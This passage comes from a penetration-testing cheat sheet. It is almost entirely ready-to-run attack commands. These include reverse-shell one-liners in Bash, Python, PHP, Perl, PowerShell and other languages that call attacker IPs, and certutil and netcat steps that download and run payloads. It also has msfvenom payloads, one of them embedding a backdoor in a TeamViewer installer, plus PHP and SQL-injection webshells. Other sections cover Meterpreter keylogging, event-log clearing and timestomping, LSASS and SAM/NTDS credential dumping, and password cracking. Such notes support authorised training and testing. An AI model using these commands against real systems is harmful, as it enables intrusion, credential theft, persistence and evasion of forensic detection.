[IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("..base64content.."))
# Confirming the MD5 Hashes Match
Get-FileHash C:\Users\Public\id_rsa -Algorithm md5

# Upload
# Encode file to Base64
C:\user> [Convert]::ToBase64String((Get-Content -path "C:\file" -Encoding byte))
# Check file md5 hash
Get-FileHash "C:\file" -Algorithm MD5 | select Hash
# Copy and past the content
echo ..base64encode.. | base64 -d > file
# Confirming the MD5 Hashes Match
md5sum hosts 
```

#### File transfer with WebDav

```powershell
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

# Dwonload
C:\user> dir \\192.168.49.128\DavWWWRoot
# Upload
C:\user> copy C:\Users\john\Desktop\SourceCode.zip \\192.168.49.129\DavWWWRoot\
```

#### Download a file using JavaScript and cscript.exe

```powershell
# creat a file called wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
# Download a file using cscript.exe
cscript.exe /nologo wget.js https://path/PowerView.ps1 PowerView.ps1
```

#### File transfer using WinRM

```powershell
# Create a PowerShell Remoting Session to DATABASE01
$Session = New-PSSession -ComputerName DATABASE01

# Copy samplefile.txt from our Localhost to the DATABASE01 Session
Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\

# Copy DATABASE.txt from DATABASE01 Session to our Localhost
Copy-Item -Path "C:\DATABASE.txt" -Destination C:\ -FromSession $Session
```

#### File transfer with RDP

{% code overflow="wrap" %}

```bash
# Mounting a Linux Folder Using rdesktop
rdesktop <IP> -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/'

# Mounting a Linux Folder Using xfreerdp
xfreerdp /v:<IP> /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/
```

{% endcode %}

#### Download a file using Bitsadmin

```powershell
bitsadmin /transfer n http://10.10.10.32/nc.exe C:\Temp\nc.exe
```

#### Download a file using Certutil

```powershell
certutil.exe -verifyctl -split -f http://10.10.10.32/nc.exe

# Download a revshell and execute it
certutil.exe -f -urlcache -split http://<IP>/reverse.exe c:\windows\temp\reverse.exe && cmd.exe /c c:\windows\temp\reverse.exe
```

## Linux

#### Download a file using Wget / cURL / PHP

```bash
wget https://path/LinEnum.sh -O /tmp/LinEnum.sh
curl -o /tmp/LinEnum.sh https://path/LinEnum.sh
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
```

#### File transfer with SCP

<pre class="language-bash"><code class="lang-bash"><strong># Upload
</strong><strong>scp C:\Temp\bloodhound.zip user@10.10.10.150:/tmp/bloodhound.zip
</strong><strong># Download
</strong>scp user@target:/tmp/mimikatz.exe C:\Temp\mimikatz.exe
</code></pre>

#### File Transfer with Netcat and Ncat

```bash
# NetCat - Compromised Machine - Listening on Port 8000
nc -l -p 8000 > SharpKatz.exe
# Netcat - Attack Host - Sending File to Compromised machine
nc -q 0 <IP> 8000 < SharpKatz.exe

# Ncat - Compromised Machine - Listening on Port 8000
ncat -l -p 8000 --recv-only > SharpKatz.exe
# Ncat - Attack Host - Sending File to Compromised machine
ncat --send-only <IP> 8000 < SharpKatz.exe

# Attack Host - Sending File as Input to Netcat
sudo nc -l -p 443 -q 0 < SharpKatz.exe
# Compromised Machine Connect to Netcat to Receive the File
nc <IP> 443 > SharpKatz.exe

# Attack Host - Sending File as Input to Ncat
sudo ncat -l -p 443 --send-only < SharpKatz.exe
# Compromised Machine Connect to Ncat to Receive the File
ncat <IP> 443 --recv-only > SharpKatz.exe

# Compromised Machine Connecting to Netcat Using /dev/tcp to Receive the File
cat < /dev/tcp/<IP>/443 > SharpKatz.exe
```

#### File Transfer with Socat

```bash
sudo socat TCP4-LISTEN:443,fork file:secret_passwords.txt
socat TCP4:10.11.0.4:443 file:received_secret_passwords.txt,create
```

#### Creating a Web Server

<pre class="language-bash"><code class="lang-bash"># Python3
python3 -m http.server 8000
<strong># PHP
</strong>php -S 0.0.0.0:8000
# Ruby
ruby -run -ehttpd . -p8000
</code></pre>

#### Encode File en base64

```bash
# Convert a file to base64
base64 shell -w 0
# Convert a file from base64 back to its origin
echo f0VMR...SNIO...InmDwU | base64 -d > shell
# Check the file's md5sum to ensure it converted correctly
md5sum shell
```

## Shells, Payloads & Exploit

### Shells and Payloads

```bash
# Netcat Bind Shell
nc -nlvp 4444 -e cmd.exe
nc -nv 10.11.0.22 4444
# Netcat Reverse Shell
rlwrap nc -nlvp 4444
nc -nv 10.11.0.22 4444 -e /bin/bash

# Different commands used to get reverse shell : https://www.revshells.com
Bash   : bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
SH     : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 1234 >/tmp/f
Python : python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP    : php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
PERL   : perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Netcat : nc -e /bin/sh 10.0.0.1 1234
Netcat : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Ruby   : ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Powershell : powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.158',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Java   :
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

# Start a bind shell on the remote server
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 1234 >/tmp/f

# Different commands used to spawn an interactive shell on a linux-based system
Python : python -c 'import pty; pty.spawn("/bin/sh")'
Sh     : /bin/sh -i
Perl   : perl —e 'exec "/bin/sh";'
Ruby   : ruby: exec "/bin/sh"
Lua    : Lua: os.execute('/bin/sh')
awk    : awk 'BEGIN {system("/bin/sh")}'
find   : find / -name nameoffile 'exec /bin/awk 'BEGIN {system("/bin/sh")}' \;                    #'deletethis
find   : find . -exec /bin/sh \; -quit
vim    : vim -c ':!/bin/sh'

# Upgrade shell TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
ctrl+z 
stty raw -echo;fg
<enter><enter>
reset
xterm

# Socat Reverse Shells
socat -d -d TCP4-LISTEN:443 STDOUT
socat TCP4:10.11.0.22:443 EXEC:/bin/bash

# Socat Encrypted Bind Shells
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
cat bind_shell.key bind_shell.crt > bind_shell.pem
sudo socat OPENSSL-LISTEN:443,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
socat - OPENSSL:10.11.0.4:443,verify=0

# Powercat Reverse Shells
sudo nc -lvp 443
powercat -c 10.11.0.4 -p 443 -e cmd.exe

# Powercat Bind Shells
powercat -l -p 443 -e cmd.exe
nc 10.11.0.22 443

# Powercat Stand-Alone Payloads
powercat -c 10.11.0.4 -p 443 -e cmd.exe -g > reverseshell.ps1
./reverseshell.ps1

# Creating a stand-alone encoded Base64 payload
powercat -c 10.11.0.4 -p 443 -e cmd.exe -ge > encodedreverseshell.ps1
powershell.exe -E "Base64 encoded payload"

# MSFvenom command used to generate a linux-based reverse shell stageless payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f elf > nameoffile.elf

# MSFvenom command used to generate a Windows-based reverse shell stageless payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe > rev.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f exe -o rev.exe

# MSFvenom command used to generate a MacOS-based reverse shell payload
msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f macho > nameoffile.macho

# MSFvenom command used to generate a ASP web reverse shell payload
msfvenom -p windows/<meterpreter>/reverse_tcp LHOST=10.10.14.113 LPORT=443 -f asp > nameoffile.asp

# MSFvenom command used to generate a JSP web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f raw > nameoffile.jsp

# MSFvenom command used to generate a WAR java/jsp compatible web reverse shell payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.113 LPORT=443 -f war > nameoffile.war

# Create a webshell php file
echo "<?php system(\$_GET["cmd"]);?>" > /var/www/html/shell.php

# Location of laudanum webshells on ParrotOS and Pwnbox
/usr/share/webshells/laudanum
# Location of Antak-Webshell on Parrot OS and Pwnbox
/usr/share/nishang/Antak-WebShell
```

#### Public Exploits

```bash
# Online
https://www.exploit-db.com
https://packetstorm.news
https://github.com
# Offline
Metasploit
searchsploit
/usr/share/nmap/scripts/

# Search for public exploits for a web application
searchsploit openssh 7.2

# MSF: Search for public exploits in MSF
search exploit eternalblue

# MSF: Start using an MSF module
use exploit/windows/smb/ms17_010_psexec

# MSF: Show required options for an MSF module
show options

# MSF: Set a value for an MSF module option
set RHOSTS 10.10.10.40

# MSF: Test if the target server is vulnerable
check

# MSF: Run the exploit on the target server is vulnerable
exploit
```

#### Cross-Compiling Exploit Code

```bash
# Compiling exploit for windows target
i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
# run exploit with wine in linux
sudo wine syncbreeze_exploit.exe
# Packing chishel with upx
upx brute chisel
# Convert Python exploit to a binary file
pyinstaller.exe --onefile .\41090.py
# Compiling with gcc
gcc -fPIC -shared -o libsecurity.so libsecurity.c
```

### Metasploit Framework

```bash
# Create and initialize the database
sudo msfdb init
# Enable PostgreSQL
sudo systemctl enable postgresql
# Confirming the connexion 
msf6 > db_status
```

### MSFVenom

```bash
# Generating Payload
msfvenom -p windows/<meterpreter>/reverse_tcp LHOST=<IP> LPORT=1337 -f aspx > reverse_shell.aspx
msfvenom -p linux/x64/<meterpreter>/reverse_tcp LHOST=<IP> LPORT=8080 -f elf -o backupjob 

# Generating Payload - With Encoding
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -b "\x00" -f perl -e x86/shikata_ga_nai

# starting a listener on msfconsole
msf6 > use multi/handler

# Privilege Escalation
use post/multi/recon/local_exploit_suggester

# Embed payloads into any executable
msfvenom windows/x86/<meterpreter_reverse_tcp> LHOST=<IP> LPORT=8080 -k -x TeamViewer_Setup.exe -e x86/shikata_ga_nai -a x86 --platform windows -o TeamViewer_Setup.exe -i 5
```

### Post-Exploitation

<pre class="language-bash"><code class="lang-bash"># Display idle time from current user
meterpreter > idletime
# Elevate permissions to NT AUTHORITY\SYSTEM
# Check if we have SeImpersonatePrivilege or SeDebugPrivilege
whoami /priv
# Elevate our privileges with getsystem
meterpreter > getsystem
meterpreter > getuid
# Migrate into explorer.exe
meterpreter > ps
meterpreter > migrate &#x3C;PID>
# If we dont find a process to migrate to we can create a new process
meterpreter > execute -H -f notepad
<strong>meterpreter > migrate &#x3C;PID>
</strong><strong># Elevate our shell to a high integrity level by bypassing UAC
</strong><strong># Verifiying the integrity level
</strong>Import-Module NtObjectManager
Get-NtTokenIntegrityLevel
# Bypass UAC
search UAC
use exploit/windows/local/bypassuac_sdclt
# Load Kiwi module and execute creds_msv to retrieve credentials
meterpreter > load kiwi
meterpreter > creds_msv
</code></pre>

### MSFconsole Commands

<table data-header-hidden><thead><tr><th width="229.45458984375"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td>show exploits</td><td>Show all exploits within the Framework.</td></tr><tr><td>show payloads</td><td>Show all payloads within the Framework.</td></tr><tr><td>show auxiliary</td><td>Show all auxiliary modules within the Framework.</td></tr><tr><td>search &#x3C;name></td><td>Search for exploits or modules within the Framework.</td></tr><tr><td>info</td><td>Load information about a specific exploit or module.</td></tr><tr><td>use &#x3C;name></td><td>Load an exploit or module (example: use windows/smb/psexec).</td></tr><tr><td>use &#x3C;number></td><td>Load an exploit by using the index number displayed after the search command.</td></tr><tr><td>LHOST</td><td>Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.</td></tr><tr><td>RHOST</td><td>The remote host or the target. set function Set a specific value (for example, LHOST or RHOST).</td></tr><tr><td>setg &#x3C;function></td><td>Set a specific value globally (for example, LHOST or RHOST).</td></tr><tr><td>show options</td><td>Show the options available for a module or exploit.</td></tr><tr><td>show targets</td><td>Show the platforms supported by the exploit.</td></tr><tr><td>set target &#x3C;number></td><td>Specify a specific target index if you know the OS and service pack.</td></tr><tr><td>set payload &#x3C;payload></td><td>Specify the payload to use.</td></tr><tr><td>set payload &#x3C;number></td><td>Specify the payload index number to use after the show payloads command.</td></tr><tr><td>show advanced</td><td>Show advanced options.</td></tr><tr><td>set autorunscript migrate -f</td><td>Automatically migrate to a separate process upon exploit completion.</td></tr><tr><td>check</td><td>Determine whether a target is vulnerable to an attack.</td></tr><tr><td>exploit</td><td>Execute the module or exploit and attack the target.</td></tr><tr><td>exploit -j</td><td>Run the exploit under the context of the job. (This will run the exploit in the background.)</td></tr><tr><td>exploit -z</td><td>Do not interact with the session after successful exploitation.</td></tr><tr><td>exploit -e &#x3C;encoder></td><td>Specify the payload encoder to use (example: exploit –e shikata_ga_nai).</td></tr><tr><td>exploit -h</td><td>Display help for the exploit command.</td></tr><tr><td>sessions -l</td><td>List available sessions (used when handling multiple shells).</td></tr><tr><td>sessions -l -v</td><td>List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.</td></tr><tr><td>sessions -s &#x3C;script></td><td>Run a specific Meterpreter script on all Meterpreter live sessions.</td></tr><tr><td>sessions -K</td><td>Kill all live sessions.</td></tr><tr><td>sessions -c &#x3C;cmd></td><td>Execute a command on all live Meterpreter sessions.</td></tr><tr><td>sessions -u &#x3C;sessionID></td><td>Upgrade a normal Win32 shell to a Meterpreter console.</td></tr><tr><td>db_create &#x3C;name></td><td>Create a database to use with database-driven attacks (example: db_create autopwn).</td></tr><tr><td>db_connect &#x3C;name></td><td>Create and connect to a database for driven attacks (example: db_connect autopwn).</td></tr><tr><td>db_nmap</td><td>Use Nmap and place results in a database. (Normal Nmap syntax is supported, such as –sT –v –P0.)</td></tr><tr><td>db_destroy</td><td>Delete the current database.</td></tr><tr><td>db_destroy &#x3C;user:password@host:port/database></td><td>Delete database using advanced options.</td></tr></tbody></table>

### Meterpreter Commands

<table data-header-hidden><thead><tr><th width="255.8182373046875"></th><th></th></tr></thead><tbody><tr><td><strong>Command</strong></td><td><strong>Description</strong></td></tr><tr><td>help</td><td>Open Meterpreter usage help.</td></tr><tr><td>run &#x3C;scriptname></td><td>Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.</td></tr><tr><td>sysinfo</td><td>Show the system information on the compromised target.</td></tr><tr><td>ls</td><td>List the files and folders on the target.</td></tr><tr><td>use priv</td><td>Load the privilege extension for extended Meterpreter libraries.</td></tr><tr><td>ps</td><td>Show all running processes and which accounts are associated with each process.</td></tr><tr><td>migrate &#x3C;proc. id></td><td>Migrate to the specific process ID (PID is the target process ID gained from the ps command).</td></tr><tr><td>use incognito</td><td>Load incognito functions. (Used for token stealing and impersonation on a target machine.)</td></tr><tr><td>list_tokens -u</td><td>List available tokens on the target by user.</td></tr><tr><td>list_tokens -g</td><td>List available tokens on the target by group.</td></tr><tr><td>impersonate_token &#x3C;DOMAIN_NAMEUSERNAME></td><td>Impersonate a token available on the target.</td></tr><tr><td>steal_token &#x3C;proc. id></td><td>Steal the tokens available for a given process and impersonate that token.</td></tr><tr><td>lsa_dump_sam</td><td>Dumping SAM</td></tr><tr><td>lsa_dump_secrets</td><td>Dumping LSA secrets</td></tr><tr><td>drop_token</td><td>Stop impersonating the current token.</td></tr><tr><td>getsystem</td><td>Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.</td></tr><tr><td>shell</td><td>Drop into an interactive shell with all available tokens.</td></tr><tr><td>execute -f &#x3C;cmd.exe> -i</td><td>Execute cmd.exe and interact with it.</td></tr><tr><td>execute -f &#x3C;cmd.exe> -i -t</td><td>Execute cmd.exe with all available tokens.</td></tr><tr><td>execute -f &#x3C;cmd.exe> -i -H -t</td><td>Execute cmd.exe with all available tokens and make it a hidden process.</td></tr><tr><td>rev2self</td><td>Revert back to the original user you used to compromise the target.</td></tr><tr><td>reg &#x3C;command></td><td>Interact, create, delete, query, set, and much more in the target’s registry.</td></tr><tr><td>setdesktop &#x3C;number></td><td>Switch to a different screen based on who is logged in.</td></tr><tr><td>screenshot</td><td>Take a screenshot of the target’s screen.</td></tr><tr><td>upload &#x3C;filename></td><td>Upload a file to the target.</td></tr><tr><td>download &#x3C;filename></td><td>Download a file from the target.</td></tr><tr><td>keyscan_start</td><td>Start sniffing keystrokes on the remote target.</td></tr><tr><td>keyscan_dump</td><td>Dump the remote keys captured on the target.</td></tr><tr><td>keyscan_stop</td><td>Stop sniffing keystrokes on the remote target.</td></tr><tr><td>getprivs</td><td>Get as many privileges as possible on the target.</td></tr><tr><td>uictl enable &#x3C;keyboard/mouse></td><td>Take control of the keyboard and/or mouse.</td></tr><tr><td>background</td><td>Run your current Meterpreter shell in the background.</td></tr><tr><td>hashdump</td><td>Dump all hashes on the target. use sniffer Load the sniffer module.</td></tr><tr><td>sniffer_interfaces</td><td>List the available interfaces on the target.</td></tr><tr><td>sniffer_dump &#x3C;interfaceID> pcapname</td><td>Start sniffing on the remote target.</td></tr><tr><td>sniffer_start &#x3C;interfaceID> packet-buffer</td><td>Start sniffing with a specific range for a packet buffer.</td></tr><tr><td>sniffer_stats &#x3C;interfaceID></td><td>Grab statistical information from the interface you are sniffing.</td></tr><tr><td>sniffer_stop &#x3C;interfaceID></td><td>Stop the sniffer.</td></tr><tr><td>add_user &#x3C;username> &#x3C;password> -h &#x3C;ip></td><td>Add a user on the remote target.</td></tr><tr><td>add_group_user &#x3C;"Domain Admins"> &#x3C;username> -h &#x3C;ip></td><td>Add a username to the Domain Administrators group on the remote target.</td></tr><tr><td>clearev</td><td>Clear the event log on the target machine.</td></tr><tr><td>timestomp</td><td>Change file attributes, such as creation date (antiforensics measure).</td></tr><tr><td>reboot</td><td>Reboot the target machine.</td></tr></tbody></table>

## Web Enumeration

```bash
# Directories bruteforce
dirsearch -u http://192.168.198.121 -e aspx --full-url -w /directory-list-2.3-medium.txt -t 100 -x 400,404
# DNS Enumeration
gobuster dns -d medtech.com -w subdomains-top1million-110000.txt --wildcard

# Extensions (used for web directories bruteforce)
php,html,txt,json,js,jsp,jspa,jspx,aspx,bak,sh,go,asp,log,zip,conf,ini,py,yml
```

#### GIT

```bash
# Download the directory
wget -r http://127.0.0.1/.git

# Show commits
git log
git show
git diff-tree -p HEAD
```

#### Web Enumeration

```bash
# Run a directory scan on a website
gobuster dir -u http://10.10.10.121/ -w /usr/share/dirb/wordlists/common.txt

# Run a sub-domain scan on a website
gobuster dns -d inlanefreight.com -w /usr/share/SecLists/Discovery/DNS/namelist.txt

# Grab website banner
curl -IL https://www.inlanefreight.com

# List details about the webserver/certificates
whatweb 10.10.10.121

# List potential directories in robots.txt
curl 10.10.10.121/robots.txt
```

#### VHOST

```bash
ffuf -H "Host: FUZZ.onlyrands.com" -c -w subdomains-top1million-110000.txt -u http://onlyrands.com
```

#### Wordpress

```bash
# wpscan
wpscan --url http://$IP/shenzi -e ap,at,u --plugins-detection aggressive -t 20
```

#### SQLi

```bash
# MySQL & MariaDB RCE
' UNION SELECT ("<?php echo passthru($_GET['cmd'])?>") INTO OUTFILE 'C:/xampp/htdocs/shell.php'--+
```

#### Hydra

```bash
# Bruteforce login forme
hydra -l admin -P /opt/wordlists/rockyou.txt 192.168.154.10  http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid password"
```

#### Login Page

```bash
- Default credentials
- SQL Injection
# create a custom wordlist
cewl http://testphp.vulnweb.com | grep -v CeWL
```

## Password Attacks

### Password Reuse / Default Passwords

```bash
# Search for default creds
creds search mssql
# default creds for routers
https://www.routerpasswords.com
```

### Password Mutations

```bash
# Uses cewl to generate a wordlist based on keywords present on a website.
cewl https://www.inlanefreight.com -d 4 -m 6 --lowercase -w inlane.wordlist

# Uses Hashcat to generate a rule-based word list.
hashcat --force password.list -r custom.rule --stdout > mut_password.list

# Uses crunch to generate a wordlist of 6 char begin with "Lab"
crunch 6 6 -t Lab%%% > wordlist

# Users username-anarchy tool in conjunction with a pre-made list of first and last names to generate a list of potential username.
./username-anarchy -i /path/to/listoffirstandlastnames.txt

# Extract a company employee names from linkedin
python linkedin2username.py -c targetco

# Uses Linux-based commands curl, awk, grep and tee to download a list of file extensions to be used in searching for files that could contain passwords.
curl -s https://fileinfo.com/filetypes/compressed | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt
```

### Remote Password Attacks

```bash
crackmapexec winrm <ip> -u user.list -p password.list
# Uses CrackMapExec over WinRM to attempt to brute force user names and passwords specified hosted on a target.

crackmapexec smb <ip> -u "user" -p "password" --shares
# Uses CrackMapExec to enumerate smb shares on a target using a specified set of credentials.

hydra -L user.list -P password.list <service>://<ip> -s <port>
# Uses Hydra in conjunction with a user list and password list to attempt to crack a password over the specified service.

hydra -l username -P password.list <service>://<ip>
# Uses Hydra in conjunction with a username and password list to attempt to crack a password over the specified service.

hydra -L user.list -p password <service>://<ip>
# Uses Hydra in conjunction with a user list and password to attempt to crack a password over the specified service.

hydra -C <user_pass.list> ssh://<IP>
# Uses Hydra in conjunction with a list of credentials to attempt to login to a target over the specified service. This can be used to attempt a credential stuffing attack.

hydra -l user -P rockyou.txt <IP> http-post-form "/index.php:usr=user&pwd=^PASS^:Login failed. Invalid"
# Uses Hydra to attack HTTP POST Login Form

crackmapexec smb <ip> --local-auth -u <username> -p <password> --sam
# Uses CrackMapExec in conjunction with admin credentials to dump password hashes stored in SAM, over the network.

crackmapexec smb <ip> --local-auth -u <username> -p <password> --lsa
# Uses CrackMapExec in conjunction with admin credentials to dump lsa secrets, over the network. It is possible to get clear-text credentials this way.

crackmapexec smb <ip> -u <username> -p <password> --ntds
# Uses CrackMapExec in conjunction with admin credentials to dump hashes from the ntds file over a network.

evil-winrm -i <ip> -u Administrator -H "<passwordhash>"
# Uses Evil-WinRM to establish a Powershell session with a Windows target using a user and password hash. This is one type of Pass-The-Hash attack.
```

### Windows Local Password Attacks / Credential Hunting

```bash
tasklist /svc
# A command-line-based utility in Windows used to list running processes

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
# Searching for KeePass database files

findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
# Uses Windows command-line based utility findstr to search for the string "password" in many different file type

Get-Process lsass
# A Powershell cmdlet is used to display process information. Using this with the LSASS process can be helpful when attempting to dump LSASS process memory from the command line

rundll32 C:\windows\system32\comsvcs.dll, MiniDump <lsass_ID> C:\lsass.dmp full
# Uses rundll32 in Windows to create a LSASS memory dump file. This file can then be transferred to an attack box to extract credentials

pypykatz lsa minidump /path/to/lsassdumpfile
# Uses Pypykatz to parse and attempt to extract credentials & password hashes from an LSASS process memory dump file

reg.exe save hklm\sam C:\sam.save
reg.exe save hklm\system C:\system.save
reg.exe save hklm\security C:\security.save
# Uses reg.exe in Windows to save a copy of a registry hive at a specified location on the file system. It can be used to make copies of any registry hive (i.e., hklm\sam, hklm\security, hklm\system)

move sam.save \\<ip>\NameofFileShare
# Uses move in Windows to transfer a file to a specified file share over the network

python3 secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
# Uses Secretsdump.py to dump password hashes from the SAM database

vssadmin CREATE SHADOW /For=C:
# Uses Windows command line based tool vssadmin to create a volume shadow copy for C:. This can be used to make a copy of NTDS.dit safely

cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
# Uses Windows command line based tool copy to create a copy of NTDS.dit for a volume shadow copy of C:
```

### Linux Local Password Attacks / Credential Hunting

```bash
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib|fonts|share|core" ;done
# Script that can be used to find .conf, .config and .cnf files on a Linux system

for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc|lib");do echo -e "\nFile: " $i; grep "user|password|pass" $i 2>/dev/null | grep -v "\#";done
# Script that can be used to find credentials in specified file types

for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share|man";done
# Script that can be used to find common database files

find /home/* -type f -name "*.txt" -o ! -name "*.*"
# Uses Linux-based find command to search for text files

for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc|lib|headers|share";done
# Script that can be used to search for common file types used with scripts

for ext in $(echo ".xls .xls* .xltx .csv .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib|fonts|share|core" ;done
# Script used to look for common types of documents

cat /etc/crontab
# Uses Linux-based cat command to view the contents of crontab in search for credentials

ls -la /etc/cron.*/
# Uses Linux-based ls -la command to list all files that start with cron contained in the etc directory

grep -rnw "PRIVATE KEY" /* 2>/dev/null | grep ":1"
# Uses Linux-based command grep to search the file system for key terms PRIVATE KEY to discover SSH keys

grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
# Uses Linux-based grep command to search for the keywords PRIVATE KEY within files contained in a user's home directory

grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
# Uses Linux-based grep command to search for keywords ssh-rsa within files contained in a user's home directory

tail -n5 /home/*/.bash*
# Uses Linux-based tail command to search the through bash history files and output the last 5 lines

bash mimipenguin.sh
# Runs Mimipenguin.sh using bash (also can be used with python3)

ls -l .mozilla/firefox/ | grep default
# Uses Linux-based command to search for credentials stored by Firefox then searches for the keyword default using grep

cat .mozilla/firefox/1bplpd86.default-release/logins.json | jq 
# Uses Linux-based command cat to search for credentials stored by Firefox in JSON

python3.9 firefox_decrypt.py
# Runs Firefox_decrypt.py to decrypt any encrypted credentials stored by Firefox. Program will run using python3.9

python3 lazagne.py all
# Runs Lazagne.py with all modules using Python 3 (can be used with python2.7 or Windows exe)
```

### Cracking Passwords

```bash
# Cracking Methodology
- Format hashes : hash-identifier, haiti, hashid, *2john
- Calculate the cracking time in s : python3 -c "print(keyspace/(123 MH/s x 1000000)"
- Prepare wordlist : Hashcat/John rules
- Attack the hash : hashcat, john

haiti $(cut -d ':' -f 2 hash.txt)
# Determine the hash type

hashcat -m 1000 dumpedhashes.txt rockyou.txt
# Uses Hashcat to crack NTLM hashes using a specified wordlist

hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b rockyou.txt --show
# Uses Hashcat to attempt to crack a single NTLM hash and display the results in the terminal output

unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hashes
# Uses unshadow to combine data from passwd.bak and shadow.bk into one single file to prepare for cracking

hashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.cracked
# Uses Hashcat in conjunction with a wordlist to crack the unshadowed hashes and outputs the cracked hashes to a file called unshadowed.cracked

hashcat -m 500 -a 0 md5-hashes.list rockyou.txt
# Uses Hashcat in conjunction with a word list to crack the md5 hashes in the md5-hashes.list file

hashcat -m 22100 backup.hash rockyou.txt -o backup.cracked
# Uses Hashcat to crack the extracted BitLocker hashes using a wordlist and outputs the cracked hashes into a file called backup.cracked

python3 ssh2john.py SSH.private > ssh.hash
# Runs ssh2john.py script to generate hashes for the SSH keys in the SSH.private file, then redirects the hashes to a file called ssh.hash

john ssh.hash --show
# Uses John to attempt to crack the hashes in the ssh.hash file, then outputs the results in the terminal

office2john.py Protected.docx > protected-docx.hash
# Runs Office2john.py against a protected .docx file and converts it to a hash stored in a file called protected-docx.hash

john --wordlist=rockyou.txt protected-docx.hash --rules
# Uses John in conjunction with the wordlist rockyou.txt to crack the hash protected-docx.hash

pdf2john.pl PDF.pdf > pdf.hash
# Runs Pdf2john.pl script to convert a pdf file to a pdf has to be cracked

john --wordlist=rockyou.txt pdf.hash
# Runs John in conjunction with a wordlist to crack a pdf hash

zip2john ZIP.zip > zip.hash
# Runs Zip2john against a zip file to generate a hash, then adds that hash to a file called zip.hash

john --wordlist=rockyou.txt zip.hash
